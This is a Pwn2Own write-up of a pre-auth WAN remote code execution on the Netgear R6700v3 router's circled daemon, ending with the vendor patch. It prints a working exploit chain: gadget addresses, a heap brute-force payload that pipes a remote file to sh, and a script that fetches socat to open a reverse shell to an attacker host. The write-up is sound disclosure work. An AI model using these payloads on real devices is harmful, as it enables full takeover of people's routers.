PWN2OWN AUSTIN 2021 : DEFEATING THE NETGEAR R6700V3

Rédigé par Kevin Denis , Antide Petit - 25/03/2022 - dans Exploit , Reverse-engineering

Twice a year ZDI organizes a competition where the goal is to hack hardware and software. During November 2021, in Austin, hackers tried to exploit hardware devices such as printers, routers, phones, home automation devices, NAS and more. This blogpost describes how we successfully took over a Netgear router from the WAN interface.

INTRODUCTION

This article describes a pre-auth remote code execution vulnerability found in the NETGEAR Nighthawk Smart Wi-Fi Router (R6700 AC1750) on the WAN interface. The vulnerability resides in the `/bin/circled` binary, running on the Netgear router. This vulnerability can be remotely exploited by an attacker on the WAN side of the router, without authentication. The Circled daemon fetches a `circleinfo.txt` file from a webserver and a buffer overflow can be triggered when parsing this file. By placing a malicious file in a webserver and redirecting the router to download it (either by DNS redirection or TCP redirection), an attacker can execute arbitrary code. As Circled runs under the root identity, the attacker gains full privileges on the router. This vulnerability has received CVE-2022-27646 along with CVE-2022-27644.

VULNERABILITY ANALYSIS

Circled is a third-party daemon which enables parental control for Netgear routers. A good analysis of the service and a previous vulnerability can be found in a GRIMM blogpost. This section describes a new vulnerability in the `/bin/circled` binary. It should be noted that the daemon is started in default router configuration, even if it is not configured.

The daemon is `/bin/circled`, in the Netgear firmware version `R6700v3-V1.0.4.120_10.0.91` and its SHA1 hash is `ac86472cdeccd01165718b1b759073b9e6b665e9`.

FUNCTION RESPONSIBLE FOR UPDATES

We chose to analyze the update mechanism of this service. The main program forks shortly after start, and a process is responsible for downloading and checking the version of the database and the version of the engine. This check is launched at boot, and after that every two hours. In case of a crash, the process restarts.

The function that we arbitrarily named `updating_database` located at `0xCE38` parses a `/tmp/circleinfo.txt` file in order to check if there is any update to apply. The parsing reads each line of the text file, then writes data in two stack variables without checking their size, resulting in a classical stack buffer overflow.

```
int __fastcall updating_database(int a1, const char *update_server)
 {
 // (...)
 char line[1020]; // [sp+894h] [bp-4FCh] BYREF
 char db_checksum_val[256]; // [sp+D94h] [bp+4h] BYREF
 char db_checksum[256]; // [sp+E94h] [bp+104h] BYREF
 // (...)
 v7 = fopen("/tmp/circleinfo.txt", "r");
 if ( v7 )
 {
  line[0] = 0;
  while ( fgets(line, 1024, v7) )
  {
   if ( sscanf(line, "%s %s", db_checksum, db_checksum_val) == 2
      && !strcmp(db_checksum, "db_checksum") ) {
      // (...)
      break;
   }
  // (...)
```

As we can see in this code snippet, the `line` variable can handle 1024 characters at most, although `db_checksum_val` and `db_checksum` are only of size 256 in the `sscanf`. Both variables are located close to the end of the stack, which allows us to trigger a stack overflow.

FETCHING THE FILE

The function located at `0xE2D8` that we named `retrieve_circleinfo_txt` fetches the `circleinfo.txt` file from a remote server and copies it in the `/tmp` folder. The function `url_retrieve` (at `0xC904`) is used to download files. The download is done through an https server, but the function doesn't check the certificate:

```
snprintf(curl_cmdline, v8 - 1, "%s %s %s/%s", "curl -s -m 180 -k -o", output, server, path);
printf("%s: Executing '%s'\n", "url_retrieve", curl_cmdline);
system(curl_cmdline);
free(curl_cmdline);
```

The `-k` option given to curl explicitly prevents the certificate check. In other words, it means that anybody can impersonate the update server.

The legitimate file can be downloaded for inspection:

```
$ curl https://http.fw.updates1.netgear.com/sw-apps/parental-control/circle/r6700v3/https/ci
rcleinfo.txt
firmware_ver 2.3.0.1
database_ver 3.2.1
platforms_ver 2.15.2
db_checksum 80f34399912c29a9b619193658d43b1c
firmware_size 1875128
database_size 8649020
$
```

PROOF-OF-CONCEPT

In order to verify the vulnerability we configure the Netgear router to use our own DNS server, which allows us to redirect the queries to the Circled update server to our own server. We chose to serve a file containing 1000 'A' followed by a space and one more 'A':

```
$ cat circleinfo.txt
A(..1000x..)A A
$
```

In circled logs (`/tmp/circledinfo.log`), we can see the process crashing and restarting in loop.

```
Sat Sep 4 01:19:10 2021 ERROR: loader exited, forking new loader now ...
```

EXPLOITATION

In this section, we describe how we turn this vulnerability in a fully working exploit giving remote command execution.

STRATEGY

In our setup, we are the DHCP server for the Netgear. We can be the DNS server and the https update server (thanks to the curl -k any self signed certificate will be accepted).

REDIRECT TO EXECUTION

When dealing with stack overflow, it is possible to redirect the execution flow to the stack, but in this context, the stack is not executable. Usually, non-executable memory regions problem is solved with Return Oriented Programming (ROP) by chaining so-called “gadgets”, but we found a lazy "one gadget" solution which is not particularly pretty, but has the merit of working.

The vulnerability allows us to overflow the stack and rewrite some saved registers, $R4 to $R11 and $PC. We want to redirect the flow to some known executable memory region. On this device ASLR is partial and our binary is not compiled as PIE thus the code is located at `0x8000`. The overflow occurs thanks to a format string, which means we can’t write null bytes (except one at the end of the string).

We found a gadget which allows us to call `system` with a controlled parameter and that is what we used.

USING A KNOWN STRING TO EXECUTE THROUGH SYSTEM

The only thing we control here is the long string used for the vulnerability. It is read with `sscanf` thus we cannot inject null bytes, spaces or return carriages, but it is more than enough to build a shell script.

The code manipulates the string which at some point ends up in the heap. As `/proc/sys/kernel/randomize_va_space` is set to 1, we know the heap will always be located right after our data section, and as the binary is not a Position Independent Executable (PIE) the address will always be the same.

We chose to follow this idea, calling `system` with $R0 pointing somewhere in heap memory. As the process restarts after crashing, we have almost unlimited tries to find the good address, the only limit being the maximum time condition set by ZDI rules in the context of Pwn2Own.

FINDING THE “MAGIC” GADGET

By exploring all gadgets pointing to `system` function, we can see at offset `0xEC78`:

```
$ arm-linux-gnueabi-objdump -d circled | grep -B2 system
 (...)
 --
 ec78:   e59d2084   ldr   r2, [sp, #132] ; 0x84
 ec7c:   e0840002   add   r0, r4, r2
 ec80:   ebffea06   bl    94a0
 --
$
```

We control the $R4 value with our overflow, so we can force the result of the ADD R0,R4,R2 to finally control $R0, thus the `system` argument.

The value of $R2 can be found, it is an argument used for a format string previously used before the `ret` instruction which triggers the register restoration, and is always equals to `0xFFFF7954`.

Heap boundaries are `0x1c000 - 0x21000`, so we can target these addresses by adding `0x86ac` to it, as it will be subtracted with the gadget mentioned above. We end up with values such as `0x000266ac` which requires to be written with one null byte.

The vulnerability can be triggered two times, thanks to the format: `%s %s`. Both variables can overflow the stack and rewrite registers. We can use the first format to overflow all saved registers until $PC, and the second format to overflow three bytes out of four in the saved $R4. The terminating null byte will put the desired value.

With these two overflows, we can call `system` with a controlled address.

BRUTEFORCING THE HEAP MEMORY

We know that the heap will contain part of the circleinfo.txt string. One strategy could be to write commands without any space nor carriage return, and try each address after another in the heap until we find the first character of our commands. We know that the update process restarts after a crash, so we will end up by getting the right address.

As we found with dynamic analysis, the beginning of the string is usually overwritten by subsequent heap allocations, so we put the commands nearly at the end of the string. The `circleinfo.txt` file will contain the line:

```
$ cat /tmp/circleinfo.txt
AA(...)curl${IFS}-k${IFS}https://A.B.C.D/exploit|sh;<saved_pc> AA(...)curl${IFS}-k${IFS}https://A.B.C.
D/exploit|sh;<saved_R4>
```

With:

- saved_PC equal to the magic gadget \x78\xEC (LSB form)
- saved_R4 from 0x246ac to 0x296ac to parse the heap

and we use a webserver which for each request gives a different file with a different saved $R4.

OPTIMIZING PAYLOAD

Bruteforcing heap addresses works, but it is slow due to internal timers in the circled binary (3 or 4 seconds between each try). In order to fasten up the attack, we chose to parse the heap with a step of 256 bytes and use a specific payload before the shell script.

This payload is made of 260 ‘a’ and a semicolon ‘;’, followed by the commands. If $R0 points anywhere in the long ‘aaa’ part, we end with the call `system("a(...)a;curl${IFS}-k${IFS}https://A.B.C.D/exploit|sh;")`. The shell treats ‘a(. . .)a’ such as a command, fails to execute it (with a “command not found error”), and continues with the curl command, and so with the exploit.

This strategy has been found to be effective and we quickly gain a shell.

The “exploit” is really simple. We download a socat binary and launch a reverse shell. Although this second stage is unnecessary, we prefer to keep the first payload as small as possible (curl piped to shell) to maximize the chance to find it in full in heap memory. We are able to put any commands in the “exploit” so we implement a lightshow on the Netgear router with the visible leds:

```
#!/bin/sh
#Any .com name will point to attacker machine, thanks to dnsmasq config
HOST=bla.com
PORT=4242
# Download socat for the reverse shell
curl -k https://${HOST}/s/socat -o /tmp/socat
chmod +x /tmp/socat
# Reverse shell
# Necessary to manually grab the IP because the statically linked socat can't resolve it
IP=$(ping -c1 ${HOST} | head -n1 | cut -d'(' -f2 | cut -d')' -f1)
/tmp/socat exec:/bin/sh,pty,stderr,setsid,sigint,sane tcp:${IP}:${PORT} &
# And now, a small lightshow :-)
while true; do
```

```
  leddown
  sleep 1
  ledup
  sleep 1
done
```

EXPLOIT SCRIPT AND USAGE

Along this documentation, some scripts have been developed in order to prove the exploitation.

All of these scripts can be downloaded from our GitHub repository with instructions on how to use them.

PATCH

As of version 1.0.4.126 Netgear has published a patch in order to remediate this vulnerability.

First, they removed the `-k` switch from the curl command-line, which would prevent us to impersonate the update server. Then, they modified the parser:

```
while ( fgets(line, 1024, v7) )
{
   if ( sscanf(line, "255%s %255s", db_checksum, db_checksum_val) == 2
        && !strcmp(db_checksum, "db_checksum") )
  (...)
```

The %255s limit will prevent the buffer overflow.

CONCLUSION

It has been showed how a WAN side pre-auth RCE is achieved on Netgear R6700v3 Router. The vulnerability lies in circled daemon which downloads a malicious update file which triggers a buffer overflow. This allows to call arbitrary shell commands on the target, leading to start a reverse shell on the attacker computer.

We would also like to thank the ZDI team working on Pwn2Own for their advice and the flawless organization of the event. We hope to see you next year!